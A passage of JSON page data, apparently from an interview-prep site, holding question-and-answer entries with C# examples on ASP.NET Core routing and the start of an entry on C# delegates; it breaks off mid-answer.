design.","dotnet\u002Ftesting\u002Funit-testing","KYAuIhdndCVv61PUKzOlTq8Jp0dFAZ2UpafMYn-L-yY",{"id":695,"title":696,"body":697,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":701,"navigation":99,"order":29,"path":702,"questions":703,"questionsCount":163,"related":164,"seo":764,"seoDescription":765,"stem":766,"subtopic":696,"topic":37,"topicSlug":39,"updated":168,"__hash__":767},"qa\u002Fdotnet\u002Faspnet-core\u002Frouting.md","Routing",{"type":91,"value":698,"toc":699},[],{"title":94,"searchDepth":29,"depth":29,"links":700},[],{},"\u002Fdotnet\u002Faspnet-core\u002Frouting",[704,708,712,716,720,724,728,732,736,740,744,748,752,756,760],{"id":705,"difficulty":104,"q":706,"a":707},"routing-what-is","What is routing in ASP.NET Core and how does endpoint routing work?","**Routing** maps incoming HTTP requests to endpoints (controller actions, Razor Pages,\nor minimal API handlers) based on the URL path, HTTP method, and other metadata.\n**Endpoint routing** (introduced in ASP.NET Core 3.0) separates route *matching*\n(`UseRouting`) from route *execution* (`MapControllers`), allowing middleware in\nbetween to read endpoint metadata before the action runs.\n\n```csharp\nvar builder = WebApplication.CreateBuilder(args);\nbuilder.Services.AddControllers();\n\nvar app = builder.Build();\n\napp.UseRouting();          \u002F\u002F 1. Match the request to an endpoint\napp.UseAuthentication();   \u002F\u002F 2. Run auth AFTER matching (can see endpoint metadata)\napp.UseAuthorization();    \u002F\u002F 3. Enforce authorization policy from endpoint metadata\napp.MapControllers();      \u002F\u002F 4. Execute the matched controller action\n\napp.Run();\n```\n\nThe key advantage of this design: `UseAuthorization` can read the `[Authorize]`\nattribute on the matched endpoint *before* dispatching, so it can reject unauthorized\nrequests without ever entering the controller method.\n\n**Rule of thumb:** Always place `UseRouting` before `UseAuthentication` \u002F\n`UseAuthorization`, and those before `MapControllers`. This is the order that lets\nmiddleware inspect endpoint metadata correctly.\n",{"id":709,"difficulty":104,"q":710,"a":711},"conventional-vs-attribute-routing","What is the difference between conventional routing and attribute routing?","**Conventional routing** defines URL patterns in a central place (`MapControllerRoute`).\n**Attribute routing** places route templates directly on controllers and actions with\n`[Route]`, `[HttpGet]`, `[HttpPost]`, etc.\n\n```csharp\n\u002F\u002F Conventional routing — one pattern matches many controllers:\napp.MapControllerRoute(\n    name: \"default\",\n    pattern: \"{controller=Home}\u002F{action=Index}\u002F{id?}\");\n\u002F\u002F \u002FProducts\u002FDetails\u002F5  → ProductsController.Details(id: 5)\n\u002F\u002F \u002FHome               → HomeController.Index()\n\n\u002F\u002F Attribute routing — template lives on the action:\n[ApiController]\n[Route(\"api\u002F[controller]\")]          \u002F\u002F api\u002Fproducts\npublic class ProductsController : ControllerBase\n{\n    [HttpGet]                        \u002F\u002F GET api\u002Fproducts\n    public IActionResult List() => Ok(_products);\n\n    [HttpGet(\"{id:int}\")]            \u002F\u002F GET api\u002Fproducts\u002F5\n    public IActionResult Get(int id) => Ok(Find(id));\n\n    [HttpPost]                       \u002F\u002F POST api\u002Fproducts\n    public IActionResult Create([FromBody] Product p) { ... }\n\n    [HttpDelete(\"{id:int}\")]         \u002F\u002F DELETE api\u002Fproducts\u002F5\n    public IActionResult Delete(int id) { ... }\n}\n```\n\n| Aspect | Conventional | Attribute |\n|---|---|---|\n| Route definition | `Program.cs` | Decorators on class\u002Fmethod |\n| Best for | MVC views (consistent URL structure) | REST APIs (per-action control) |\n| Override | Attribute wins | N\u002FA — all attribute |\n| Required for `[ApiController]` | No | Yes |\n\n**Rule of thumb:** Use conventional routing for MVC Razor view apps where URLs follow\na predictable pattern. Use attribute routing for Web APIs — `[ApiController]` requires it.\n",{"id":713,"difficulty":96,"q":714,"a":715},"route-constraints","What are route constraints and how do you use them?","**Route constraints** restrict which requests match a route parameter by type,\nformat, or range. They are specified in the route template with a colon (`:`).\n\n```csharp\n\u002F\u002F Built-in constraints:\n[HttpGet(\"{id:int}\")]              \u002F\u002F id must parse as int\n[HttpGet(\"{id:int:min(1)}\")]       \u002F\u002F int ≥ 1\n[HttpGet(\"{slug:alpha}\")]          \u002F\u002F letters only\n[HttpGet(\"{id:guid}\")]             \u002F\u002F GUID format\n[HttpGet(\"{date:datetime}\")]       \u002F\u002F parseable DateTime\n[HttpGet(\"{code:length(5)}\")]      \u002F\u002F exactly 5 characters\n[HttpGet(\"{code:regex(^[A-Z]{{3}}\\\\d{{2}}$)}\")]  \u002F\u002F regex pattern\n\n\u002F\u002F Example — accept only positive integer product ids:\n[HttpGet(\"products\u002F{id:int:min(1)}\")]\npublic IActionResult GetProduct(int id)\n{\n    var product = _repo.Find(id);\n    return product is null ? NotFound() : Ok(product);\n}\n\n\u002F\u002F Minimal API style:\napp.MapGet(\"\u002Forders\u002F{id:int}\", (int id) => FindOrder(id));\n```\n\nCustom constraint:\n\n```csharp\npublic class EvenNumberConstraint : IRouteConstraint\n{\n    public bool Match(HttpContext? httpContext, IRouter? route,\n        string routeKey, RouteValueDictionary values, RouteDirection direction)\n    {\n        return values.TryGetValue(routeKey, out var val)\n            && int.TryParse(val?.ToString(), out int n)\n            && n % 2 == 0;\n    }\n}\n\n\u002F\u002F Register:\nbuilder.Services.Configure\u003CRouteOptions>(o =>\n    o.ConstraintMap.Add(\"even\", typeof(EvenNumberConstraint)));\n\n\u002F\u002F Use:\napp.MapGet(\"\u002Fitems\u002F{id:even}\", (int id) => $\"Even id: {id}\");\n```\n\n**Rule of thumb:** Prefer built-in constraints for type and range validation.\nRoute constraints are for routing — not business validation. Always validate\ninput again in your action method or command handler.\n",{"id":717,"difficulty":104,"q":718,"a":719},"route-templates","How do route templates work — what are literal segments, parameters, and catch-all parameters?","A route template is a pattern string composed of **literal segments**, **route\nparameters** (`{name}`), optional parameters (`{name?}`), default values\n(`{name=default}`), and **catch-all parameters** (`{**rest}` or `{*rest}`).\n\n```csharp\n\u002F\u002F Literal segment — must match exactly:\n[HttpGet(\"api\u002Fv1\u002Fproducts\")]        \u002F\u002F only matches \u002Fapi\u002Fv1\u002Fproducts\n\n\u002F\u002F Route parameter — captures a URL segment:\n[HttpGet(\"products\u002F{id}\")]          \u002F\u002F captures: id = \"42\" for \u002Fproducts\u002F42\n\n\u002F\u002F Optional parameter:\n[HttpGet(\"search\u002F{term?}\")]         \u002F\u002F matches \u002Fsearch and \u002Fsearch\u002Fshoes\npublic IActionResult Search(string? term) { ... }\n\n\u002F\u002F Default value:\n[HttpGet(\"page\u002F{number=1}\")]        \u002F\u002F \u002Fpage → number=1; \u002Fpage\u002F3 → number=3\n\n\u002F\u002F Catch-all — captures the remainder including slashes:\n[HttpGet(\"files\u002F{**path}\")]         \u002F\u002F \u002Ffiles\u002Fa\u002Fb\u002Fc → path = \"a\u002Fb\u002Fc\"\npublic IActionResult GetFile(string path) { ... }\n\n\u002F\u002F Multiple parameters:\n[HttpGet(\"{year:int}\u002F{month:int}\u002F{slug}\")]\n\u002F\u002F \u002F2026\u002F6\u002Fmy-post → year=2026, month=6, slug=\"my-post\"\npublic IActionResult GetPost(int year, int month, string slug) { ... }\n```\n\nToken replacement in attribute routing:\n\n```csharp\n[Route(\"api\u002F[controller]\")]   \u002F\u002F [controller] → \"Products\" (class name minus suffix)\n[Route(\"api\u002F[controller]\u002F[action]\")]  \u002F\u002F [action] → method name\n```\n\n**Rule of thumb:** Use `{name}` for required segments, `{name?}` for optional\nsegments, and `{**rest}` for path-like catch-all values that include `\u002F`.\n",{"id":721,"difficulty":104,"q":722,"a":723},"http-method-attributes","What are the HTTP verb attributes (`[HttpGet]`, `[HttpPost]`, etc.) and how do they map to REST?","The HTTP verb attributes constrain a route to a specific HTTP method and optionally\nadd a path template. They implement the REST convention of using different HTTP\nmethods to represent different operations on the same resource URL.\n\n```csharp\n[ApiController]\n[Route(\"api\u002Forders\")]\npublic class OrdersController : ControllerBase\n{\n    [HttpGet]                          \u002F\u002F GET \u002Fapi\u002Forders — list all\n    public IActionResult List() => Ok(_orders);\n\n    [HttpGet(\"{id:int}\")]              \u002F\u002F GET \u002Fapi\u002Forders\u002F5 — get one\n    public IActionResult Get(int id) => Ok(Find(id));\n\n    [HttpPost]                         \u002F\u002F POST \u002Fapi\u002Forders — create\n    public IActionResult Create([FromBody] CreateOrderDto dto) { ... }\n\n    [HttpPut(\"{id:int}\")]              \u002F\u002F PUT \u002Fapi\u002Forders\u002F5 — full replace\n    public IActionResult Replace(int id, [FromBody] OrderDto dto) { ... }\n\n    [HttpPatch(\"{id:int}\")]            \u002F\u002F PATCH \u002Fapi\u002Forders\u002F5 — partial update\n    public IActionResult Update(int id, [FromBody] JsonPatchDocument\u003COrder> patch) { ... }\n\n    [HttpDelete(\"{id:int}\")]           \u002F\u002F DELETE \u002Fapi\u002Forders\u002F5 — delete\n    public IActionResult Delete(int id) { ... }\n\n    [HttpHead(\"{id:int}\")]             \u002F\u002F HEAD \u002Fapi\u002Forders\u002F5 — check existence\n    public IActionResult Exists(int id) { ... }\n}\n```\n\n`[AcceptVerbs(\"GET\", \"POST\")]` is the multi-verb variant:\n\n```csharp\n[AcceptVerbs(\"GET\", \"POST\")]\npublic IActionResult Search(string? q) { ... }\n```\n\n**Rule of thumb:** Follow REST conventions — GET for reads (idempotent, cacheable),\nPOST for creates, PUT for full updates, PATCH for partial updates, DELETE for\nremoval. Never use GET for actions with side effects.\n",{"id":725,"difficulty":96,"q":726,"a":727},"link-generation","How do you generate URLs in ASP.NET Core using `IUrlHelper` and `LinkGenerator`?","**`IUrlHelper`** is available in controllers and Razor Pages. **`LinkGenerator`**\nis a DI service usable anywhere, including middleware and background services.\n\n```csharp\n\u002F\u002F In a controller — IUrlHelper via Url property:\npublic class OrdersController : ControllerBase\n{\n    [HttpPost]\n    public IActionResult Create([FromBody] CreateOrderDto dto)\n    {\n        var order = _service.Create(dto);\n\n        \u002F\u002F Generate URL for the Get action:\n        var url = Url.Action(\n            action: \"Get\",\n            controller: \"Orders\",\n            values: new { id = order.Id });\n        \u002F\u002F → \u002Fapi\u002Forders\u002F42\n\n        return Created(url, order); \u002F\u002F 201 with Location header\n    }\n}\n\n\u002F\u002F Minimal APIs — LinkGenerator in DI:\napp.MapPost(\"\u002Forders\", (CreateOrderDto dto, LinkGenerator links) =>\n{\n    var order = CreateOrder(dto);\n    var url = links.GetPathByName(\"get-order\", new { id = order.Id });\n    return Results.Created(url, order);\n});\n\napp.MapGet(\"\u002Forders\u002F{id:int}\", (int id) => GetOrder(id))\n   .WithName(\"get-order\"); \u002F\u002F named endpoint for link generation\n```\n\n`Url.RouteUrl` uses the route name; `Url.Action` uses controller\u002Faction names.\n\n```csharp\n\u002F\u002F Using named routes:\n[HttpGet(\"{id:int}\", Name = \"GetOrder\")]\npublic IActionResult Get(int id) => Ok(Find(id));\n\nvar url = Url.RouteUrl(\"GetOrder\", new { id = 5 }); \u002F\u002F → \u002Fapi\u002Forders\u002F5\n```\n\n**Rule of thumb:** Always use `IUrlHelper` or `LinkGenerator` to generate URLs\nrather than hard-coding strings — route templates can change and named routes\nensure your links stay correct.\n",{"id":729,"difficulty":96,"q":730,"a":731},"areas","What are Areas in ASP.NET Core MVC and when do you use them?","**Areas** partition a large MVC application into functional groups, each with its\nown controllers, views, and models. They are useful for multi-module applications\n(e.g., Admin and Public sections with separate `HomeController` classes).\n\n```csharp\n\u002F\u002F Directory structure:\n\u002F\u002F Areas\u002F\n\u002F\u002F Admin\u002F\n\u002F\u002F Controllers\u002FProductsController.cs\n\u002F\u002F Views\u002FProducts\u002FIndex.cshtml\n\u002F\u002F Shop\u002F\n\u002F\u002F Controllers\u002FProductsController.cs\n\u002F\u002F Views\u002FProducts\u002FIndex.cshtml\n\n\u002F\u002F Controller — mark with [Area]:\n[Area(\"Admin\")]\n[Route(\"admin\u002F[controller]\u002F[action]\")]\npublic class ProductsController : Controller\n{\n    public IActionResult Index() => View();\n}\n\n\u002F\u002F Register area routing (in addition to conventional routing):\napp.MapControllerRoute(\n    name: \"areas\",\n    pattern: \"{area:exists}\u002F{controller=Home}\u002F{action=Index}\u002F{id?}\");\n\u002F\u002F \u002Fadmin\u002Fproducts → Admin area, ProductsController.Index\n\u002F\u002F \u002Fshop\u002Fproducts  → Shop area, ProductsController.Index\n```\n\nLink generation across areas requires specifying `area`:\n\n```csharp\n\u002F\u002F In a Razor view inside the Shop area, link to Admin:\n\u003Ca asp-area=\"Admin\" asp-controller=\"Products\" asp-action=\"Index\">\n    Admin Products\n\u003C\u002Fa>\n```\n\n**Rule of thumb:** Use Areas when a single project needs distinct sections with\noverlapping controller or view names (Admin, API, Shop). For true separation, prefer\nseparate projects. Areas add complexity — avoid them for small apps.\n",{"id":733,"difficulty":96,"q":734,"a":735},"minimal-apis-vs-controllers","What are minimal APIs and how do they compare to controller-based routing?","**Minimal APIs** (ASP.NET Core 6+) let you define HTTP endpoints with lambda\nexpressions directly in `Program.cs`, without controllers, attributes, or\n`ControllerBase`. They are simpler and have less overhead.\n\n```csharp\n\u002F\u002F Minimal API — no controller class needed:\nvar builder = WebApplication.CreateBuilder(args);\nbuilder.Services.AddDbContext\u003CAppDb>(o => o.UseInMemoryDatabase(\"orders\"));\n\nvar app = builder.Build();\n\napp.MapGet(\"\u002Forders\", async (AppDb db) =>\n    await db.Orders.ToListAsync());\n\napp.MapGet(\"\u002Forders\u002F{id:int}\", async (int id, AppDb db) =>\n    await db.Orders.FindAsync(id) is Order o ? Results.Ok(o) : Results.NotFound());\n\napp.MapPost(\"\u002Forders\", async (CreateOrderDto dto, AppDb db) =>\n{\n    var order = new Order { Item = dto.Item };\n    db.Orders.Add(order);\n    await db.SaveChangesAsync();\n    return Results.Created($\"\u002Forders\u002F{order.Id}\", order);\n});\n\napp.Run();\n```\n\n| Aspect | Minimal API | Controller |\n|---|---|---|\n| Boilerplate | Minimal | More (class, `ControllerBase`, attributes) |\n| Built-in features | Manual | Model binding, ModelState, filters, conventions |\n| Testability | Lambda — needs `WebApplicationFactory` | Easier to unit-test in isolation |\n| Organisation | Flat in Program.cs | Class-based, scales better |\n| Best for | Microservices, simple endpoints | Complex domains with many actions |\n\n**Rule of thumb:** Start with minimal APIs for new small services and microservices.\nSwitch to controllers when you need structured organization, action filters, complex\nmodel binding, or per-action conventions across many endpoints.\n",{"id":737,"difficulty":96,"q":738,"a":739},"route-groups","What are route groups in minimal APIs and how do they reduce boilerplate?","**Route groups** (`MapGroup`) let you apply a common prefix, middleware, filters,\nand metadata to a set of related endpoints without repeating them on each one.\n\n```csharp\nvar api = app.MapGroup(\"\u002Fapi\");          \u002F\u002F common prefix for all API routes\nvar v1  = api.MapGroup(\"\u002Fv1\");           \u002F\u002F \u002Fapi\u002Fv1\nvar orders = v1.MapGroup(\"\u002Forders\")\n               .RequireAuthorization()   \u002F\u002F all \u002Fapi\u002Fv1\u002Forders endpoints need auth\n               .WithTags(\"Orders\");      \u002F\u002F Swagger tag\n\norders.MapGet(\"\u002F\", GetAllOrders);        \u002F\u002F GET \u002Fapi\u002Fv1\u002Forders\norders.MapGet(\"\u002F{id:int}\", GetOrder);    \u002F\u002F GET \u002Fapi\u002Fv1\u002Forders\u002F5\norders.MapPost(\"\u002F\", CreateOrder);        \u002F\u002F POST \u002Fapi\u002Fv1\u002Forders\norders.MapDelete(\"\u002F{id:int}\", DeleteOrder); \u002F\u002F DELETE \u002Fapi\u002Fv1\u002Forders\u002F5\n\n\u002F\u002F Endpoint filters apply to all endpoints in the group:\norders.AddEndpointFilter(async (ctx, next) =>\n{\n    Console.WriteLine($\"Before: {ctx.HttpContext.Request.Path}\");\n    var result = await next(ctx);\n    Console.WriteLine(\"After\");\n    return result;\n});\n```\n\nWithout groups, each `MapGet`\u002F`MapPost` would repeat `\u002Fapi\u002Fv1\u002Forders` and\n`.RequireAuthorization()`.\n\n**Rule of thumb:** Use `MapGroup` to co-locate related endpoints and apply\nshared policies (auth, rate limiting, OpenAPI tags) in one place. Group by\nresource or feature — mirroring what controllers do naturally.\n",{"id":741,"difficulty":96,"q":742,"a":743},"parameter-binding-sources","Where can ASP.NET Core bind route and action parameters from, and how does it decide?","ASP.NET Core binds parameters from multiple sources. For controllers with\n`[ApiController]`, the binding source is inferred; without it, you must specify.\n\n```csharp\n[HttpGet(\"products\u002F{id}\")]\npublic IActionResult Get(\n    int id,                              \u002F\u002F [FromRoute] inferred — from URL segment\n    [FromQuery] string? sort,            \u002F\u002F from ?sort=name\n    [FromHeader(Name=\"X-Version\")] string version, \u002F\u002F from request header\n    [FromServices] IProductRepo repo)    \u002F\u002F injected from DI\n    => Ok(repo.Find(id, sort));\n\n[HttpPost(\"products\")]\npublic IActionResult Create(\n    [FromBody] CreateProductDto dto)    \u002F\u002F JSON body — inferred for complex type\n    => Created($\"\u002Fproducts\u002F{dto.Id}\", dto);\n\n\u002F\u002F Form data:\n[HttpPost(\"upload\")]\npublic IActionResult Upload(\n    [FromForm] string name,\n    IFormFile file) { ... }\n```\n\n**`[ApiController]` inference rules:**\n- Complex types → `[FromBody]`\n- `IFormFile` \u002F `IFormFileCollection` → `[FromForm]`\n- Route parameter matches parameter name → `[FromRoute]`\n- Everything else → `[FromQuery]`\n\nFor minimal APIs, parameters are bound the same way with additional support for\ndirect DI injection:\n\n```csharp\napp.MapGet(\"\u002Fproducts\u002F{id}\", (int id, IProductRepo repo) =>\n    repo.Find(id)); \u002F\u002F id from route, repo from DI\n```\n\n**Rule of thumb:** Use `[ApiController]` to get automatic binding inference. Add\nexplicit `[From*]` attributes when you need to override the default or when\nworking without `[ApiController]`.\n",{"id":745,"difficulty":206,"q":746,"a":747},"routing-ambiguity","What happens when two routes are ambiguous and how does ASP.NET Core resolve conflicts?","When multiple routes match a request with equal specificity, ASP.NET Core throws\nan `AmbiguousMatchException` at runtime (not build time). You must resolve ambiguity\nby making routes more specific or by ordering them.\n\n```csharp\n\u002F\u002F Ambiguous: both match GET \u002Fapi\u002Fproducts\u002F5\n[HttpGet(\"{id}\")]\npublic IActionResult GetById(string id) { ... }\n\n[HttpGet(\"{name}\")]\npublic IActionResult GetByName(string name) { ... }\n\u002F\u002F ↑ AmbiguousMatchException — the runtime can't distinguish these\n\n\u002F\u002F Fix 1: use route constraints to differentiate:\n[HttpGet(\"{id:int}\")]              \u002F\u002F only matches integers → \u002Fproducts\u002F5\npublic IActionResult GetById(int id) { ... }\n\n[HttpGet(\"{name:alpha}\")]          \u002F\u002F only matches letters → \u002Fproducts\u002Fwidget\npublic IActionResult GetByName(string name) { ... }\n\n\u002F\u002F Fix 2: use different path templates:\n[HttpGet(\"by-id\u002F{id:int}\")]\npublic IActionResult GetById(int id) { ... }\n\n[HttpGet(\"by-name\u002F{name}\")]\npublic IActionResult GetByName(string name) { ... }\n```\n\nConventional routing processes routes in registration order — first match wins\n— so ordering matters there:\n\n```csharp\n\u002F\u002F More specific pattern FIRST:\napp.MapControllerRoute(\"specific\", \"products\u002Ffeatured\", ...);\napp.MapControllerRoute(\"default\",  \"products\u002F{id}\",     ...);\n```\n\n**Rule of thumb:** Design routes to be unambiguous using constraints or distinct\ntemplates. Rely on registration order only as a last resort — it is implicit and\neasy to break when adding new routes.\n",{"id":749,"difficulty":96,"q":750,"a":751},"fallback-routes","What is a fallback route and how do you configure one in ASP.NET Core?","A **fallback route** is matched only when no other endpoint matches the request.\nIt is commonly used in Single-Page Applications to serve `index.html` for every\nunmatched path so client-side routing (React Router, Vue Router) can take over.\n\n```csharp\n\u002F\u002F MapFallback — minimal API style:\napp.MapControllers();       \u002F\u002F controller endpoints matched first\n\n\u002F\u002F MapFallbackToFile: serves a static file for any unmatched path\napp.MapFallbackToFile(\"index.html\"); \u002F\u002F SPAs: catch all and serve the shell\n\n\u002F\u002F MapFallbackToController: forwards unmatched routes to a controller action\napp.MapFallbackToController(\"Index\", \"Home\");\n\u002F\u002F Any unmatched request → HomeController.Index\n\n\u002F\u002F MapFallback with a handler:\napp.MapFallback(async ctx =>\n{\n    ctx.Response.StatusCode = 404;\n    await ctx.Response.WriteAsJsonAsync(new\n    {\n        error = \"Route not found\",\n        path  = ctx.Request.Path.Value\n    });\n});\n\n\u002F\u002F Fallback for a specific prefix only:\napp.MapFallback(\"\u002Fapp\u002F{**slug}\", async ctx =>\n    await ctx.Response.WriteAsync(\"SPA shell\"));\n\u002F\u002F \u002Fapp\u002Fdashboard, \u002Fapp\u002Fsettings → all served by SPA shell\n\u002F\u002F Other paths → normal 404\n```\n\nFallbacks have **lower priority than any other endpoint**, including wildcard routes,\nso they never shadow real endpoints.\n\n**Rule of thumb:** Use `MapFallbackToFile(\"index.html\")` for SPA hosting. Use\n`MapFallback` with a custom handler to return a structured JSON 404 for APIs.\nNever use a catch-all route constraint (`{**}`) on a real controller action as a\nsubstitute — use the proper fallback API.\n",{"id":753,"difficulty":96,"q":754,"a":755},"endpoint-metadata","What is endpoint metadata and how do middleware components use it?","**Endpoint metadata** is information attached to a matched endpoint at routing time.\nIt includes attributes (`[Authorize]`, `[AllowAnonymous]`, `[RequireCors]`, OpenAPI\ntags, etc.) and custom data added with `WithMetadata`. Middleware reads metadata from\n`IEndpointFeature` to make decisions without inspecting the URL.\n\n```csharp\n\u002F\u002F Attach metadata to a minimal API endpoint:\napp.MapGet(\"\u002Forders\", GetOrders)\n   .RequireAuthorization(\"AdminOnly\")    \u002F\u002F adds AuthorizeAttribute metadata\n   .WithName(\"get-orders\")               \u002F\u002F adds IEndpointNameMetadata\n   .WithTags(\"Orders\")                   \u002F\u002F adds ITagsMetadata (OpenAPI)\n   .WithMetadata(new AuditAttribute());  \u002F\u002F custom metadata\n\n\u002F\u002F Middleware reading endpoint metadata after UseRouting:\napp.UseRouting(); \u002F\u002F route matching happens here — metadata is now available\n\napp.Use(async (ctx, next) =>\n{\n    var endpoint = ctx.GetEndpoint();\n    if (endpoint is not null)\n    {\n        \u002F\u002F Check for a custom audit attribute on the matched endpoint:\n        var audit = endpoint.Metadata.GetMetadata\u003CAuditAttribute>();\n        if (audit is not null)\n            await AuditLogAsync(ctx.Request.Path);\n    }\n    await next(ctx);\n});\n\napp.UseAuthorization(); \u002F\u002F reads AuthorizeAttribute metadata set by UseRouting\n\napp.MapControllers();\n```\n\nWithout `UseRouting` running first, `ctx.GetEndpoint()` returns `null` because no\nroute has been matched yet.\n\n**Rule of thumb:** Place any middleware that reads endpoint metadata **after**\n`UseRouting` and **before** `MapControllers`. This is the window where the endpoint\nis known but not yet executed.\n",{"id":757,"difficulty":96,"q":758,"a":759},"route-naming-and-order","How do you control the order and priority of routes in ASP.NET Core's endpoint routing?","Endpoint routing uses a **precedence algorithm** to rank routes, not simple\nregistration order. Literal segments rank higher than parameters, and constrained\nparameters rank higher than unconstrained ones. Registration order is used only\nas a tiebreaker when two routes are equally specific.\n\n```csharp\n\u002F\u002F Endpoint routing precedence examples (higher beats lower):\n\u002F\u002F 1. Literal segment:    \u002Fproducts\u002Ffeatured  (most specific)\n\u002F\u002F 2. Constrained param:  \u002Fproducts\u002F{id:int}\n\u002F\u002F 3. Unconstrained param:\u002Fproducts\u002F{id}\n\u002F\u002F 4. Catch-all:          \u002Fproducts\u002F{**rest}  (least specific)\n\n\u002F\u002F All registered in any order — routing picks correctly:\napp.MapGet(\"\u002Fproducts\u002Ffeatured\", GetFeatured);   \u002F\u002F literal — wins for \u002Fproducts\u002Ffeatured\napp.MapGet(\"\u002Fproducts\u002F{id:int}\", GetById);       \u002F\u002F constrained — wins for \u002Fproducts\u002F5\napp.MapGet(\"\u002Fproducts\u002F{slug}\",   GetBySlug);     \u002F\u002F unconstrained — wins for \u002Fproducts\u002Fwidget\napp.MapGet(\"\u002Fproducts\u002F{**rest}\", GetSubPath);    \u002F\u002F catch-all — last resort\n\n\u002F\u002F Explicit Order property to force rank when needed:\napp.MapGet(\"\u002Fdebug\", DebugHandler)\n   .WithOrder(-1); \u002F\u002F negative = higher priority; runs before default (0)\n\napp.MapControllerRoute(\n    name: \"default\",\n    pattern: \"{controller=Home}\u002F{action=Index}\u002F{id?}\");\n\u002F\u002F Conventional routes matched after attribute routes by default\n```\n\nFor conventional routes, registration order matters within the same specificity\ntier — register more specific patterns first:\n\n```csharp\n\u002F\u002F Specific conventional pattern must come before generic one:\napp.MapControllerRoute(\"blog\", \"blog\u002F{year:int}\u002F{slug}\", new { controller = \"Blog\", action = \"Post\" });\napp.MapControllerRoute(\"default\", \"{controller=Home}\u002F{action=Index}\u002F{id?}\");\n```\n\n**Rule of thumb:** Trust endpoint routing's precedence algorithm for attribute\nroutes — it handles most cases without explicit ordering. Add `.WithOrder()` only\nwhen you have a genuine tie that the algorithm cannot break. For conventional\nroutes, always register more specific patterns first.\n",{"id":761,"difficulty":96,"q":762,"a":763},"openapi-metadata","How do you add OpenAPI metadata to minimal API endpoints for Swagger documentation?","Minimal APIs use extension methods from `Microsoft.AspNetCore.OpenApi` (.NET 9) or\nSwashbuckle to attach **OpenAPI metadata** — names, descriptions, tags, response\ntypes, and operation IDs — directly to endpoint definitions.\n\n```csharp\n\u002F\u002F Install: dotnet add package Microsoft.AspNetCore.OpenApi  (.NET 9+)\nbuilder.Services.AddOpenApi(); \u002F\u002F registers OpenAPI document generation\n\napp.MapOpenApi(); \u002F\u002F exposes \u002Fopenapi\u002Fv1.json\n\n\u002F\u002F Attach metadata to individual endpoints:\napp.MapGet(\"\u002Fproducts\u002F{id:int}\", async (int id, IProductRepo repo) =>\n    await repo.FindAsync(id) is Product p ? Results.Ok(p) : Results.NotFound())\n   .WithName(\"GetProduct\")                \u002F\u002F operation id for link generation\n   .WithSummary(\"Get a product by ID\")    \u002F\u002F short description in Swagger UI\n   .WithDescription(\"Returns the product matching the given integer ID, or 404.\")\n   .WithTags(\"Products\")                  \u002F\u002F groups endpoints in Swagger UI\n   .Produces\u003CProduct>(StatusCodes.Status200OK)\n   .Produces(StatusCodes.Status404NotFound)\n   .RequireAuthorization();\n\napp.MapPost(\"\u002Fproducts\", async (CreateProductDto dto, IProductRepo repo) =>\n{\n    var product = await repo.CreateAsync(dto);\n    return Results.CreatedAtRoute(\"GetProduct\", new { id = product.Id }, product);\n})\n   .WithName(\"CreateProduct\")\n   .WithTags(\"Products\")\n   .Accepts\u003CCreateProductDto>(\"application\u002Fjson\")   \u002F\u002F documents request body type\n   .Produces\u003CProduct>(StatusCodes.Status201Created)\n   .Produces\u003CValidationProblemDetails>(StatusCodes.Status400BadRequest);\n\n\u002F\u002F Apply metadata to a whole group:\nvar v1 = app.MapGroup(\"\u002Fapi\u002Fv1\")\n            .WithTags(\"v1\")\n            .WithOpenApi(); \u002F\u002F enables OpenAPI for all endpoints in the group\n```\n\n**Rule of thumb:** Always attach `.WithName`, `.WithTags`, `.Produces\u003CT>`, and\n`.WithSummary` to every public endpoint. Accurate metadata drives Swagger UI,\nclient SDK generation, and integration test contracts — treat it as part of the\nendpoint definition, not an afterthought.\n",{"description":94},"ASP.NET Core routing interview questions — attribute vs conventional routing, route constraints, endpoint routing, link generation, and minimal APIs.","dotnet\u002Faspnet-core\u002Frouting","CoFNNHGBlyxWZipUlBETmBmbKu-a6eXzliQPovucrQo",{"id":769,"title":770,"body":771,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":775,"navigation":99,"order":29,"path":776,"questions":777,"questionsCount":163,"related":164,"seo":838,"seoDescription":839,"stem":840,"subtopic":841,"topic":28,"topicSlug":30,"updated":168,"__hash__":842},"qa\u002Fdotnet\u002Fcsharp-core\u002Fdelegates-events.md","Delegates Events",{"type":91,"value":772,"toc":773},[],{"title":94,"searchDepth":29,"depth":29,"links":774},[],{},"\u002Fdotnet\u002Fcsharp-core\u002Fdelegates-events",[778,782,786,790,794,798,802,806,810,814,818,822,826,830,834],{"id":779,"difficulty":104,"q":780,"a":781},"delegate-basics","What is a delegate in C# and how do you declare and use one?","A **delegate** is a type-safe function pointer — an object that holds a reference\nto a method (or multiple methods) with a matching signature. Delegates are first-class\nobjects in C#: they can be stored in fields, passed as parameters, and returned from methods.\n\n```csharp\n\u002F\u002F Declare a delegate type — defines the signature methods must match:\ndelegate int MathOperation(int a, int b);\n\n\u002F\u002F Methods that match the signature:\nint Add(int a, int b) => a + b;\nint Multiply(int a, int b) => a * b;\n\n\u002F\u002F Create delegate instances:\nMathOperation op = Add;\nConsole.WriteLine(op(3, 4));    \u002F\u002F 7\n\nop = Multiply;\nConsole.WriteLine(op(3, 4));    \u002F\u002F 12\n\n\u002F\u002F Pass as a parameter:\nint Apply(MathOperation operation, int x, int y) => operation(x, y);\nConsole.WriteLine(Apply(Add, 5, 6));  \u002F\u002F 11\n\n\u002F\u002F Assign a lambda:\nMathOperation square = (a, _) => a * a;\nConsole.WriteLine(square(5, 0)); \u002F\u002F 25\n```\n\n**Rule of thumb:** Use the built-in generic delegates (`Func`, `Action`, `Predicate`)\ninstead of declaring custom delegate types — they cover the vast majority of cases with\nless boilerplate.\n",{"id":783,"difficulty":104,"q":784,"a":785},"action-func-predicate","What are `Action`, `Func`, and `Predicate` delegates?","These are the three built-in generic delegate families that replace most custom\ndelegate declarations.\n\n```csharp\n\u002F\u002F Action\u003CT1, T2, ...> — method that returns void (0–16 params):\nAction\u003Cstring> print = msg => Console.WriteLine(msg);\nAction\u003Cint, int> printSum = (a, b) => Console.WriteLine(a + b);\nprint(\"Hello\");    \u002F\u002F Hello\nprintSum(3, 4);    \u002F\u002F 7\n\n\u002F\u002F Func\u003CT1, ..., TResult> — method that returns TResult (0–16 input params):\nFunc\u003Cint, int, int> add  = (a, b) => a + b;\nFunc\u003Cstring, int>   len  = s => s.Length;\nFunc\u003Cbool>          flag = () => DateTime.Now.Hour > 12;\n\nConsole.WriteLine(add(3, 4));   \u002F\u002F 7\nConsole.WriteLine(len(\"hello\")); 